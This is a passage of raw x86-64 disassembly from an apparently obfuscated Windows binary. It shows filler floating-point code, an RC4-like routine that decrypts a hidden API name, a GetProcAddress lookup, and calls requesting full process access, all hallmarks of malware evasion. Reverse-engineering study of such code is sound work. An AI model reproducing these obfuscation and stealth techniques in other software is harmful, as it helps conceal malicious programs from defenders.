add r10b, byte [rsp + r9 + 0xe0]
movzx r9d, r10b
movzx r10d, byte [rsp + r9 + 0xe0]
movzx r9d, byte [rsp + rbx + 0xe0]
xor r9b, r11b
xor r9b, byte [rsp + r10 + 0xe0]
movabs r10, 0x40dacfc000000000
mov qword [rsp + 0xd0], r10
movabs r10, 0x40d5730000000000
mov qword [rsp + 0x60], r10
movabs r10, 0x40d0164000000000
mov qword [rsp + 0x40], r10
movabs r10, 0x40c5730000000000
mov qword [rsp + 0x50], r10
movabs r10, 0x40b5730000000000
mov qword [rsp + 0x48], r10
movsd xmm0, qword [rsp + 0x48]
movsd xmm1, qword [rsp + 0x40]
subsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movsd xmm0, qword [rsp + 0x48]
movsd xmm1, qword [rsp + 0xd0]
mulsd xmm1, xmm0
movsd qword [rsp + 0xd0], xmm1
movsd xmm0, qword [rsp + 0x48]
movsd xmm1, qword [rsp + 0x60]
subsd xmm1, xmm0
movsd qword [rsp + 0x60], xmm1
movsd xmm0, qword [rsp + 0x48]
movsd xmm1, qword [rsp + 0x60]
mulsd xmm1, xmm0
movsd qword [rsp + 0x60], xmm1
movsd xmm0, qword [rsp + 0x48]
movsd xmm1, qword [rsp + 0x40]
mulsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movsd xmm0, qword [rsp + 0x48]
movsd xmm1, qword [rsp + 0xd0]
ucomisd xmm0, xmm1
jbe 0x1400e65ab
movsd xmm0, qword [rsp + 0x40]
movsd xmm1, qword [rsp + 0x60]
mulsd xmm1, xmm0
movsd qword [rsp + 0x60], xmm1
movsd xmm0, qword [rsp + 0x60]
movsd xmm1, qword [rsp + 0xd0]
subsd xmm1, xmm0
movsd qword [rsp + 0xd0], xmm1
movsd xmm0, qword [rsp + 0xd0]
movsd xmm1, qword [rsp + 0x48]
mulsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm0, qword [rsp + 0xd0]
movsd xmm1, qword [rsp + 0x48]
mulsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm0, qword [rsp + 0x40]
movsd xmm1, qword [rsp + 0x60]
subsd xmm1, xmm0
movsd qword [rsp + 0x60], xmm1
jmp 0x1400e6627
movsd xmm0, qword [rsp + 0x48]
movsd xmm1, qword [rsp + 0x40]
subsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movsd xmm0, qword [rsp + 0xd0]
addsd xmm0, qword [rsp + 0x50]
movsd qword [rsp + 0x50], xmm0
movzx r8d, byte [0x140496c43]
movsd xmm0, qword [rsp + 0x48]
addsd xmm0, qword [rsp + 0x40]
movsd qword [rsp + 0x40], xmm0
movsd xmm0, qword [rsp + 0xd0]
addsd xmm0, qword [rsp + 0x50]
movsd qword [rsp + 0x50], xmm0
movsd xmm0, qword [rsp + 0x50]
movsd xmm1, qword [rsp + 0x60]
subsd xmm1, xmm0
movsd qword [rsp + 0x60], xmm1
mov edi, r8d
shl edi, 4
add edi, 0x90
movzx r10d, r11b
movzx r11d, byte [rsp + r10 + 0xe0]
lea ebx, [rax + 2]
add cl, byte [rsp + rsi + 0xe0]
movzx r14d, cl
movzx esi, byte [rsp + r14 + 0xe0]
mov byte [rsp + r10 + 0xe0], sil
movzx r9d, r9b
movzx esi, byte [rsp + r9 + 0xe0]
mov byte [rsp + r14 + 0xe0], sil
movzx esi, bl
movzx ebx, byte [rsp + rsi + 0xe0]
mov byte [rsp + r9 + 0xe0], bl
mov byte [rsp + rsi + 0xe0], r11b
movzx esi, byte [0x140496c44]
add esi, 0x75
add dl, byte [rsp + r11 + 0xe0]
or esi, edi
movzx ebx, byte [rsp + r14 + 0xe0]
add bl, r11b
movzx r11d, bl
movzx r10d, byte [rsp + r10 + 0xe0]
add r10b, byte [rsp + r9 + 0xe0]
movzx r9d, dl
add r10b, byte [rsp + r9 + 0xe0]
movzx r9d, r10b
movzx r9d, byte [rsp + r9 + 0xe0]
movzx r11d, byte [rsp + r11 + 0xe0]
xor r11b, sil
xor r11b, byte [rsp + r9 + 0xe0]
mov byte [rsp + 0xd0], r11b
xor r10d, r10d
lea r9, [fcn.140496c41]
jmp 0x1400e684b
movss xmm0, dword [rsp + 0x40]
movss xmm1, dword [rsp + 0x48]
subss xmm1, xmm0
movss dword [rsp + 0x48], xmm1
movzx r8d, byte [r9 + r10*2 + 4]
movss xmm0, dword [rsp + 0x60]
addss xmm0, dword [rsp + 0x50]
movss dword [rsp + 0x50], xmm0
movss xmm0, dword [rsp + 0x60]
addss xmm0, dword [rsp + 0x50]
movss dword [rsp + 0x50], xmm0
movss xmm0, dword [rsp + 0x40]
movss xmm1, dword [rsp + 0x48]
subss xmm1, xmm0
movss dword [rsp + 0x48], xmm1
lea r14, [rax + r10]
add r14, 2
movzx ebx, byte [r9 + r10*2 + 5]
add rbx, 0x75
movzx esi, sil
movzx edi, byte [rsp + rsi + 0xe0]
movzx r14d, r14b
add cl, byte [rsp + r14 + 0xe0]
lea r14d, [rax + r10]
add r14d, 3
movzx r12d, cl
movzx ebp, byte [rsp + r12 + 0xe0]
mov byte [rsp + rsi + 0xe0], bpl
movzx r11d, r11b
movzx ebp, byte [rsp + r11 + 0xe0]
mov byte [rsp + r12 + 0xe0], bpl
movzx r14d, r14b
movzx ebp, byte [rsp + r14 + 0xe0]
mov byte [rsp + r11 + 0xe0], bpl
mov byte [rsp + r14 + 0xe0], dil
mov r14d, r8d
shl r14d, 4
add r14d, 0x90
add dl, byte [rsp + rdi + 0xe0]
or r14, rbx
movzx ebx, byte [rsp + r12 + 0xe0]
add bl, dil
movzx ebx, bl
movzx esi, byte [rsp + rsi + 0xe0]
add sil, byte [rsp + r11 + 0xe0]
movzx r11d, dl
add sil, byte [rsp + r11 + 0xe0]
movzx r11d, sil
movzx esi, byte [rsp + r11 + 0xe0]
movzx r11d, byte [rsp + rbx + 0xe0]
xor r11b, r14b
xor r11b, byte [rsp + rsi + 0xe0]
mov byte [rsp + r10 + 0xd1], r11b
inc r10
mov esi, r14d
cmp r10, 3
je 0x1400e6a43
mov dword [rsp + 0x60], 0x46a99400
mov dword [rsp + 0x40], 0x467e6000
mov dword [rsp + 0x50], 0x46299800
mov dword [rsp + 0x48], 0x45a9a000
movss xmm0, dword [rsp + 0x48]
movss xmm1, dword [rsp + 0x50]
mulss xmm1, xmm0
movss dword [rsp + 0x50], xmm1
movss xmm0, dword [rsp + 0x48]
movss xmm1, dword [rsp + 0x60]
mulss xmm1, xmm0
movss dword [rsp + 0x60], xmm1
movss xmm0, dword [rsp + 0x48]
movss xmm1, dword [rsp + 0x60]
mulss xmm1, xmm0
movss dword [rsp + 0x60], xmm1
movss xmm0, dword [rsp + 0x48]
movss xmm1, dword [rsp + 0x60]
subss xmm1, xmm0
movss dword [rsp + 0x60], xmm1
movss xmm0, dword [rsp + 0x48]
movss xmm1, dword [rsp + 0x60]
ucomiss xmm1, xmm0
ja 0x1400e6700
movss xmm0, dword [rsp + 0x60]
movss xmm1, dword [rsp + 0x50]
mulss xmm1, xmm0
movss dword [rsp + 0x50], xmm1
movss xmm0, dword [rsp + 0x48]
movss xmm1, dword [rsp + 0x40]
divss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm0, dword [rsp + 0x40]
movss xmm1, dword [rsp + 0x48]
divss xmm1, xmm0
movss dword [rsp + 0x48], xmm1
movss xmm0, dword [rsp + 0x50]
movss xmm1, dword [rsp + 0x60]
subss xmm1, xmm0
movss dword [rsp + 0x60], xmm1
movss xmm0, dword [rsp + 0x60]
movss xmm1, dword [rsp + 0x50]
mulss xmm1, xmm0
movss dword [rsp + 0x50], xmm1
movss xmm0, dword [rsp + 0x60]
movss xmm1, dword [rsp + 0x50]
subss xmm1, xmm0
movss dword [rsp + 0x50], xmm1
movss xmm0, dword [rsp + 0x48]
movss xmm1, dword [rsp + 0x40]
divss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm0, dword [rsp + 0x40]
addss xmm0, dword [rsp + 0x48]
movss dword [rsp + 0x48], xmm0
movss xmm0, dword [rsp + 0x50]
movss xmm1, dword [rsp + 0x60]
ucomiss xmm1, xmm0
movss xmm0, dword [rsp + 0x60]
jbe 0x1400e69f0
movss xmm1, dword [rsp + 0x50]
mulss xmm0, xmm1
movss dword [rsp + 0x50], xmm0
movss xmm0, dword [rsp + 0x50]
movss xmm1, dword [rsp + 0x60]
divss xmm1, xmm0
movss dword [rsp + 0x60], xmm1
movss xmm0, dword [rsp + 0x60]
addss xmm0, dword [rsp + 0x50]
movss dword [rsp + 0x50], xmm0
movss xmm0, dword [rsp + 0x60]
movss xmm1, dword [rsp + 0x50]
divss xmm1, xmm0
movss dword [rsp + 0x50], xmm1
jmp 0x1400e6756
movss xmm1, dword [rsp + 0x48]
divss xmm1, xmm0
movss dword [rsp + 0x48], xmm1
movss xmm0, dword [rsp + 0x40]
movss xmm1, dword [rsp + 0x60]
subss xmm1, xmm0
movss dword [rsp + 0x60], xmm1
movss xmm0, dword [rsp + 0x40]
movss xmm1, dword [rsp + 0x60]
subss xmm1, xmm0
movss dword [rsp + 0x60], xmm1
movss xmm0, dword [rsp + 0x60]
addss xmm0, dword [rsp + 0x48]
movss dword [rsp + 0x48], xmm0
jmp 0x1400e6756
movzx ebx, byte [0x140496c4b]
movzx r8d, byte [0x140496c4c]
add r8b, 0x75
shl bl, 4
add bl, 0x90
or bl, r8b
movzx r8d, r14b
movzx esi, byte [rsp + r8 + 0xe0]
add rax, r10
lea r10d, [rax + 3]
add cl, dil
movzx edi, cl
movzx ebp, byte [rsp + rdi + 0xe0]
mov byte [rsp + r8 + 0xe0], bpl
movzx r11d, r11b
movzx ebp, byte [rsp + r11 + 0xe0]
mov byte [rsp + rdi + 0xe0], bpl
movzx r10d, r10b
movzx ebp, byte [rsp + r10 + 0xe0]
mov byte [rsp + r11 + 0xe0], bpl
mov byte [rsp + r10 + 0xe0], sil
add dl, byte [rsp + rsi + 0xe0]
movzx r10d, byte [rsp + rdi + 0xe0]
add r10b, sil
movzx r10d, r10b
movzx r8d, byte [rsp + r8 + 0xe0]
add r8b, byte [rsp + r11 + 0xe0]
movzx r11d, byte [rsp + r10 + 0xe0]
movzx r10d, dl
add r8b, byte [rsp + r10 + 0xe0]
movzx r8d, r8b
movzx r8d, byte [rsp + r8 + 0xe0]
xor r11b, byte [rsp + r8 + 0xe0]
xor r11b, bl
mov byte [rsp + 0xd4], r11b
add al, 5
xor r8d, r8d
nop dword [rax]
add cl, sil
movzx r10d, bl
movzx ebx, byte [r9 + r8*2 + 0xc]
movzx esi, byte [rsp + r10 + 0xe0]
lea edi, [rax - 1]
movzx r14d, cl
movzx ebp, byte [rsp + r14 + 0xe0]
mov byte [rsp + r10 + 0xe0], bpl
movzx r12d, r11b
movzx r11d, byte [rsp + r12 + 0xe0]
mov byte [rsp + r14 + 0xe0], r11b
movzx r11d, dil
movzx edi, byte [rsp + r11 + 0xe0]
mov byte [rsp + r12 + 0xe0], dil
movzx edi, byte [r9 + r8*2 + 0xd]
add dil, 0x75
shl bl, 4
add bl, 0x90
mov byte [rsp + r11 + 0xe0], sil
add dl, byte [rsp + rsi + 0xe0]
or bl, dil
movzx r11d, byte [rsp + r14 + 0xe0]
add r11b, sil
movzx r11d, r11b
movzx r11d, byte [rsp + r11 + 0xe0]
movzx r10d, byte [rsp + r10 + 0xe0]
add r10b, byte [rsp + r12 + 0xe0]
movzx edi, dl
add r10b, byte [rsp + rdi + 0xe0]
movzx r10d, r10b
movzx r10d, byte [rsp + r10 + 0xe0]
xor r11b, byte [rsp + r10 + 0xe0]
xor r11b, bl
mov byte [rsp + r8 + 0xd5], r11b
inc r8
inc al
cmp r8, 5
jne 0x1400e6b20
movzx r8d, byte [0x140496c57]
movzx edi, bl
movzx r10d, byte [rsp + rdi + 0xe0]
lea r9d, [rax - 1]
add cl, sil
movzx esi, cl
movzx ebx, byte [rsp + rsi + 0xe0]
mov byte [rsp + rdi + 0xe0], bl
movzx ebx, r11b
movzx ebp, byte [rsp + rbx + 0xe0]
mov byte [rsp + rsi + 0xe0], bpl
movzx r9d, r9b
movzx ebp, byte [rsp + r9 + 0xe0]
mov byte [rsp + rbx + 0xe0], bpl
movzx ebp, byte [0x140496c58]
add bpl, 0x75
shl r8b, 4
add r8b, 0x90
mov byte [rsp + r9 + 0xe0], r10b
add dl, byte [rsp + r10 + 0xe0]
movzx esi, byte [rsp + rsi + 0xe0]
add sil, r10b
movzx r10d, sil
movzx r10d, byte [rsp + r10 + 0xe0]
movzx edx, dl
movzx esi, byte [rsp + rdi + 0xe0]
add sil, byte [rsp + rbx + 0xe0]
add sil, byte [rsp + rdx + 0xe0]
movzx edx, sil
movzx edx, byte [rsp + rdx + 0xe0]
xor r10b, byte [rsp + rdx + 0xe0]
or r8b, bpl
xor r10b, r8b
movabs rdx, 0x40d7d60000000000
mov qword [rsp + 0x60], rdx
movabs rdx, 0x40d311c000000000
mov qword [rsp + 0x40], rdx
movabs rdx, 0x40cc9b0000000000
mov qword [rsp + 0x50], rdx
movabs rdx, 0x40c3128000000000
mov qword [rsp + 0x48], rdx
movabs rdx, 0x40b3140000000000
mov qword [rsp + 0x58], rdx
movsd xmm0, qword [rsp + 0x58]
addsd xmm0, qword [rsp + 0x60]
movsd qword [rsp + 0x60], xmm0
movsd xmm0, qword [rsp + 0x58]
addsd xmm0, qword [rsp + 0x60]
movsd qword [rsp + 0x60], xmm0
movsd xmm0, qword [rsp + 0x58]
addsd xmm0, qword [rsp + 0x48]
movsd qword [rsp + 0x48], xmm0
movsd xmm0, qword [rsp + 0x58]
addsd xmm0, qword [rsp + 0x50]
movsd qword [rsp + 0x50], xmm0
movsd xmm0, qword [rsp + 0x58]
movsd xmm1, qword [rsp + 0x40]
subsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movsd xmm0, qword [rsp + 0x60]
movsd xmm1, qword [rsp + 0x58]
ucomisd xmm1, xmm0
jbe 0x1400e6deb
movsd xmm0, qword [rsp + 0x48]
movsd xmm1, qword [rsp + 0x40]
subsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movsd xmm0, qword [rsp + 0x48]
movsd xmm1, qword [rsp + 0x40]
mulsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movsd xmm0, qword [rsp + 0x40]
movsd xmm1, qword [rsp + 0x58]
divsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
movsd xmm0, qword [rsp + 0x48]
movsd xmm1, qword [rsp + 0x40]
divsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movsd xmm0, qword [rsp + 0x48]
addsd xmm0, qword [rsp + 0x40]
movsd qword [rsp + 0x40], xmm0
jmp 0x1400e6e5c
movsd xmm0, qword [rsp + 0x58]
movsd xmm1, qword [rsp + 0x48]
mulsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm0, qword [rsp + 0x50]
movsd xmm1, qword [rsp + 0x40]
mulsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movsd xmm0, qword [rsp + 0x50]
movsd xmm1, qword [rsp + 0x40]
mulsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movsd xmm0, qword [rsp + 0x58]
movsd xmm1, qword [rsp + 0x48]
subsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm0, qword [rsp + 0x48]
movsd xmm1, qword [rsp + 0x50]
subsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
mov r11d, r10d
mov r12, r13
mov r13, qword [rsp + 0x88]
mov rbp, qword [rsp + 0xa0]
mov esi, dword [rsp + 0x84]
mov r14, qword [rsp + 0x98]
mov byte [rsp + 0xda], r11b
mov dword [rsp + 0x60], 0x46d10200
mov dword [rsp + 0x40], 0x469cc200
mov dword [rsp + 0x50], 0x46510400
mov dword [rsp + 0x48], 0x45d10800
movss xmm0, dword [rsp + 0x48]
addss xmm0, dword [rsp + 0x60]
movss dword [rsp + 0x60], xmm0
movss xmm0, dword [rsp + 0x48]
movss xmm1, dword [rsp + 0x40]
subss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm0, dword [rsp + 0x48]
movss xmm1, dword [rsp + 0x60]
mulss xmm1, xmm0
movss dword [rsp + 0x60], xmm1
movss xmm0, dword [rsp + 0x48]
movss xmm1, dword [rsp + 0x40]
mulss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm0, dword [rsp + 0x60]
movss xmm1, dword [rsp + 0x48]
ucomiss xmm1, xmm0
jbe 0x1400e700f
movss xmm0, dword [rsp + 0x48]
movss xmm1, dword [rsp + 0x40]
subss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm0, dword [rsp + 0x50]
movss xmm1, dword [rsp + 0x60]
mulss xmm1, xmm0
movss dword [rsp + 0x60], xmm1
movss xmm0, dword [rsp + 0x50]
movss xmm1, dword [rsp + 0x60]
divss xmm1, xmm0
movss dword [rsp + 0x60], xmm1
movss xmm0, dword [rsp + 0x48]
movss xmm1, dword [rsp + 0x40]
divss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm0, dword [rsp + 0x40]
movss xmm1, dword [rsp + 0x48]
divss xmm1, xmm0
movss dword [rsp + 0x48], xmm1
movss xmm0, dword [rsp + 0x60]
movss xmm1, dword [rsp + 0x50]
subss xmm1, xmm0
movss dword [rsp + 0x50], xmm1
movss xmm0, dword [rsp + 0x60]
movss xmm1, dword [rsp + 0x50]
divss xmm1, xmm0
movss dword [rsp + 0x50], xmm1
movss xmm0, dword [rsp + 0x40]
addss xmm0, dword [rsp + 0x48]
movss dword [rsp + 0x48], xmm0
movss xmm0, dword [rsp + 0x48]
movss xmm1, dword [rsp + 0x40]
ucomiss xmm0, xmm1
jbe 0x1400e7069
movss xmm0, dword [rsp + 0x40]
addss xmm0, dword [rsp + 0x60]
movss dword [rsp + 0x60], xmm0
movss xmm0, dword [rsp + 0x50]
addss xmm0, dword [rsp + 0x40]
movss dword [rsp + 0x40], xmm0
movss xmm0, dword [rsp + 0x40]
movss xmm1, dword [rsp + 0x60]
mulss xmm1, xmm0
movss dword [rsp + 0x60], xmm1
jmp 0x1400e70a7
movss xmm0, dword [rsp + 0x60]
movss xmm1, dword [rsp + 0x50]
subss xmm1, xmm0
movss dword [rsp + 0x50], xmm1
movss xmm0, dword [rsp + 0x50]
movss xmm1, dword [rsp + 0x60]
mulss xmm1, xmm0
movss dword [rsp + 0x60], xmm1
movss xmm0, dword [rsp + 0x50]
movss xmm1, dword [rsp + 0x60]
mulss xmm1, xmm0
movss dword [rsp + 0x60], xmm1
movss xmm0, dword [rsp + 0x50]
movss xmm1, dword [rsp + 0x60]
mulss xmm1, xmm0
movss dword [rsp + 0x60], xmm1
jmp 0x1400e70bd
movss xmm0, dword [rsp + 0x48]
movss xmm1, dword [rsp + 0x50]
mulss xmm1, xmm0
movss dword [rsp + 0x50], xmm1
movss xmm0, dword [rsp + 0x60]
movss xmm1, dword [rsp + 0x48]
subss xmm1, xmm0
movss dword [rsp + 0x48], xmm1
movss xmm0, dword [rsp + 0x60]
addss xmm0, dword [rsp + 0x48]
movss dword [rsp + 0x48], xmm0
movss xmm0, dword [rsp + 0x50]
movss xmm1, dword [rsp + 0x40]
mulss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movzx edx, r8b
add cl, byte [rsp + r9 + 0xe0]
movzx r8d, byte [rsp + rdx + 0xe0]
movzx ecx, cl
movzx r9d, byte [rsp + rcx + 0xe0]
mov byte [rsp + rdx + 0xe0], r9b
movzx edx, r10b
movzx r9d, byte [rsp + rdx + 0xe0]
mov byte [rsp + rcx + 0xe0], r9b
movzx eax, al
movzx ecx, byte [rsp + rax + 0xe0]
mov byte [rsp + rdx + 0xe0], cl
mov byte [rsp + rax + 0xe0], r8b
mov byte [rsp + 0xdb], 0
lea rdx, [rsp + 0xd0]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r14d, r14d
mov ecx, 0x2000000
xor edx, edx
mov r8d, esi
call rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x28], rbp
mov byte [rsp + 0x20], 1
mov rcx, r12
mov edx, 0x1fffff
xor r8d, r8d
mov r9, rax
call r15
test eax, eax
js 0x1400e7174
mov rax, qword [r12]
inc rax
cmp rax, 2
jae 0x1400e71bd
xor r14d, r14d
mov rcx, qword [rsp + 0x1f8]
xor rcx, rsp
call fcn.14049f400
mov rax, r14
movaps xmm6, xmmword [rsp + 0x200]
movaps xmm7, xmmword [rsp + 0x210]
movaps xmm8, xmmword [rsp + 0x220]
movaps xmm9, xmmword [rsp + 0x230]
add rsp, 0x248
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x60], 0
movsd xmm1, qword [rsp + 0x60]
movsd xmm0, qword [0x1404d9180]
ucomisd xmm0, xmm1
jbe 0x1400e7710
movabs rax, 0x40de594000000000
movabs rcx, 0x40d94a8000000000
movabs rdx, 0x40d43bc000000000
movabs r8, 0x40ce5a0000000000
movabs r9, 0x40c43c8000000000
movabs r10, 0x40b43e0000000000
movsd xmm1, qword [0x1404d91b0]
movsd xmm2, qword [0x1404d91b8]
movsd xmm3, qword [0x1404d78f0]
movabs r11, 0x8000000000000000
movapd xmm4, xmmword [0x1404d9190]
movapd xmm5, xmmword [0x1404d91a0]
jmp 0x1400e72a0
movsd xmm6, qword [rsp + 0x60]
addsd xmm6, xmm3
movsd qword [rsp + 0x60], xmm6
movsd xmm6, qword [rsp + 0x60]
ucomisd xmm0, xmm6
jbe 0x1400e7710
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xb0], rcx
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x48], r9
mov qword [rsp + 0x58], r10
movsd xmm6, qword [rsp + 0x58]
movsd xmm7, qword [rsp + 0xe0]
subsd xmm7, xmm6
movsd qword [rsp + 0xe0], xmm7
movsd xmm6, qword [rsp + 0x58]
addsd xmm6, qword [rsp + 0xb0]
movsd qword [rsp + 0xb0], xmm6
movsd xmm6, qword [rsp + 0x58]
addsd xmm6, qword [rsp + 0x50]
movsd qword [rsp + 0x50], xmm6
movsd xmm6, qword [rsp + 0x58]
addsd xmm6, qword [rsp + 0x48]
movsd qword [rsp + 0x48], xmm6
movsd xmm6, qword [rsp + 0x58]
movsd xmm7, qword [rsp + 0xe0]
mulsd xmm7, xmm6
movsd qword [rsp + 0xe0], xmm7
movsd xmm6, qword [rsp + 0x58]
addsd xmm6, qword [rsp + 0x40]
movsd qword [rsp + 0x40], xmm6
movsd xmm6, qword [rsp + 0x58]
movsd xmm7, qword [rsp + 0xe0]
ucomisd xmm6, xmm7
jbe 0x1400e7550
movsd xmm6, qword [rsp + 0x40]
movsd xmm7, qword [rsp + 0xb0]
divsd xmm7, xmm6
movsd qword [rsp + 0xb0], xmm7
movsd xmm6, qword [rsp + 0x58]
movsd xmm7, qword [rsp + 0x48]
subsd xmm7, xmm6
movsd qword [rsp + 0x48], xmm7
movsd xmm6, qword [rsp + 0x58]
movsd xmm7, qword [rsp + 0x48]
mulsd xmm7, xmm6
movsd qword [rsp + 0x48], xmm7
movsd xmm6, qword [rsp + 0x48]
movsd xmm7, qword [rsp + 0x50]
mulsd xmm7, xmm6
movsd qword [rsp + 0x50], xmm7
movsd xmm6, qword [rsp + 0xe0]
movsd xmm7, qword [rsp + 0x58]
divsd xmm7, xmm6
movsd qword [rsp + 0x58], xmm7
movsd xmm6, qword [rsp + 0x58]
movsd xmm7, qword [rsp + 0x48]
divsd xmm7, xmm6
movsd qword [rsp + 0x48], xmm7
movsd xmm6, qword [rsp + 0x40]
movsd xmm7, qword [rsp + 0xb0]
divsd xmm7, xmm6
movsd qword [rsp + 0xb0], xmm7
movsd xmm6, qword [rsp + 0xb0]
movsd xmm7, qword [rsp + 0xe0]
divsd xmm7, xmm6
movsd qword [rsp + 0xe0], xmm7
movsd xmm6, qword [rsp + 0xb0]
movsd xmm7, qword [rsp + 0xe0]
mulsd xmm7, xmm6
movsd qword [rsp + 0xe0], xmm7
movsd xmm6, qword [rsp + 0x58]
movsd xmm7, qword [rsp + 0x48]
divsd xmm7, xmm6
movsd qword [rsp + 0x48], xmm7
movsd xmm6, qword [rsp + 0x58]
movsd xmm7, qword [rsp + 0x48]
subsd xmm7, xmm6
movsd qword [rsp + 0x48], xmm7
movsd xmm6, qword [rsp + 0xb0]
movsd xmm7, qword [rsp + 0xe0]
subsd xmm7, xmm6
movsd qword [rsp + 0xe0], xmm7
movsd xmm6, qword [rsp + 0xe0]
movsd xmm7, qword [rsp + 0x40]
ucomisd xmm7, xmm6
jbe 0x1400e7650
movsd xmm6, qword [rsp + 0xb0]
addsd xmm6, qword [rsp + 0xe0]
movsd qword [rsp + 0xe0], xmm6
movsd xmm6, qword [rsp + 0xb0]
movsd xmm7, qword [rsp + 0xe0]
mulsd xmm7, xmm6
movsd qword [rsp + 0xe0], xmm7
movsd xmm6, qword [rsp + 0x50]
addsd xmm6, qword [rsp + 0x40]
movsd qword [rsp + 0x40], xmm6
movsd xmm6, qword [rsp + 0xb0]
movsd xmm7, qword [rsp + 0xe0]
divsd xmm7, xmm6
movsd qword [rsp + 0xe0], xmm7
movsd xmm6, qword [rsp + 0x58]
addsd xmm6, qword [rsp + 0x48]
movsd qword [rsp + 0x48], xmm6
movsd xmm6, qword [rsp + 0xe0]
movsd xmm7, qword [rsp + 0x58]
mulsd xmm7, xmm6
movsd qword [rsp + 0x58], xmm7
jmp 0x1400e76e5
movsd xmm6, qword [rsp + 0xe0]
movsd xmm7, qword [rsp + 0x58]
mulsd xmm7, xmm6
movsd qword [rsp + 0x58], xmm7
movsd xmm6, qword [rsp + 0x48]
movsd xmm7, qword [rsp + 0x50]
mulsd xmm7, xmm6
movsd qword [rsp + 0x50], xmm7
movsd xmm6, qword [rsp + 0x50]
movsd xmm7, qword [rsp + 0x40]
subsd xmm7, xmm6
movsd qword [rsp + 0x40], xmm7
movsd xmm6, qword [rsp + 0x50]
movsd xmm7, qword [rsp + 0x40]
subsd xmm7, xmm6
movsd qword [rsp + 0x40], xmm7
movsd xmm6, qword [rsp + 0xe0]
movsd xmm7, qword [rsp + 0x58]
mulsd xmm7, xmm6
movsd qword [rsp + 0x58], xmm7
movsd xmm6, qword [rsp + 0x60]
movsd xmm7, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x60]
xor rsi, r11
movq xmm8, rsi
movsd xmm9, qword [rsp + 0x60]
mulsd xmm9, xmm8
shufpd xmm9, xmm5, 2
movsd xmm8, qword [rsp + 0x60]
unpcklpd xmm6, xmm8
movsd xmm8, qword [rsp + 0x60]
unpcklpd xmm7, xmm8
mulpd xmm6, xmm4
mulpd xmm6, xmm7
addpd xmm6, xmm9
movapd xmm7, xmm6
unpckhpd xmm7, xmm6
divsd xmm6, xmm7
addsd xmm6, qword [rsp + 0x78]
movsd qword [rsp + 0x78], xmm6
movsd xmm6, qword [rsp + 0x58]
addsd xmm6, qword [rsp + 0x48]
movsd qword [rsp + 0x48], xmm6
jmp 0x1400e76e5
movsd xmm6, qword [rsp + 0x40]
movsd xmm7, qword [rsp + 0xb0]
divsd xmm7, xmm6
movsd qword [rsp + 0xb0], xmm7
movsd xmm6, qword [rsp + 0x40]
movsd xmm7, qword [rsp + 0xb0]
divsd xmm7, xmm6
movsd qword [rsp + 0xb0], xmm7
movsd xmm6, qword [rsp + 0xe0]
movsd xmm7, qword [rsp + 0x58]
mulsd xmm7, xmm6
movsd qword [rsp + 0x58], xmm7
movsd xmm6, qword [rsp + 0x58]
movsd xmm7, qword [rsp + 0x48]
divsd xmm7, xmm6
movsd qword [rsp + 0x48], xmm7
movsd xmm6, qword [rsp + 0x50]
addsd xmm6, qword [rsp + 0x40]
movsd qword [rsp + 0x40], xmm6
movsd xmm6, qword [rsp + 0x40]
movsd xmm7, qword [rsp + 0xb0]
subsd xmm7, xmm6
movsd qword [rsp + 0xb0], xmm7
movsd xmm6, qword [rsp + 0x78]
ucomisd xmm6, xmm1
jbe 0x1400e7280
movsd xmm6, qword [rsp + 0x60]
mulsd xmm6, xmm2
addsd xmm6, qword [rsp + 0x78]
movsd qword [rsp + 0x78], xmm6
jmp 0x1400e7280
movsd xmm0, qword [rsp + 0x78]
xorpd xmm1, xmm1
ucomisd xmm1, xmm0
jbe 0x1400e772f
call fcn.14049eb95
call fcn.14049eb61
jmp 0x1400e968f
mov qword [rsp + 0x90], r12
movaps xmm0, xmmword [0x1404d7900]
movaps xmmword [rsp + 0xe0], xmm0
movaps xmm0, xmmword [0x1404d7910]
movaps xmmword [rsp + 0xf0], xmm0
movaps xmm0, xmmword [0x1404d7920]
movaps xmmword [rsp + 0x100], xmm0
movaps xmm0, xmmword [0x1404d7930]
movaps xmmword [rsp + 0x110], xmm0
movaps xmm0, xmmword [0x1404d7940]
movaps xmmword [rsp + 0x120], xmm0
movaps xmm0, xmmword [0x1404d7950]
movaps xmmword [rsp + 0x130], xmm0
movaps xmm0, xmmword [0x1404d7960]
movaps xmmword [rsp + 0x140], xmm0
movaps xmm0, xmmword [0x1404d7970]
movaps xmmword [rsp + 0x150], xmm0
movaps xmm0, xmmword [0x1404d7980]
movaps xmmword [rsp + 0x160], xmm0
movaps xmm0, xmmword [0x1404d7990]
movaps xmmword [rsp + 0x170], xmm0
movaps xmm0, xmmword [0x1404d79a0]
movaps xmmword [rsp + 0x180], xmm0
movaps xmm0, xmmword [0x1404d79b0]
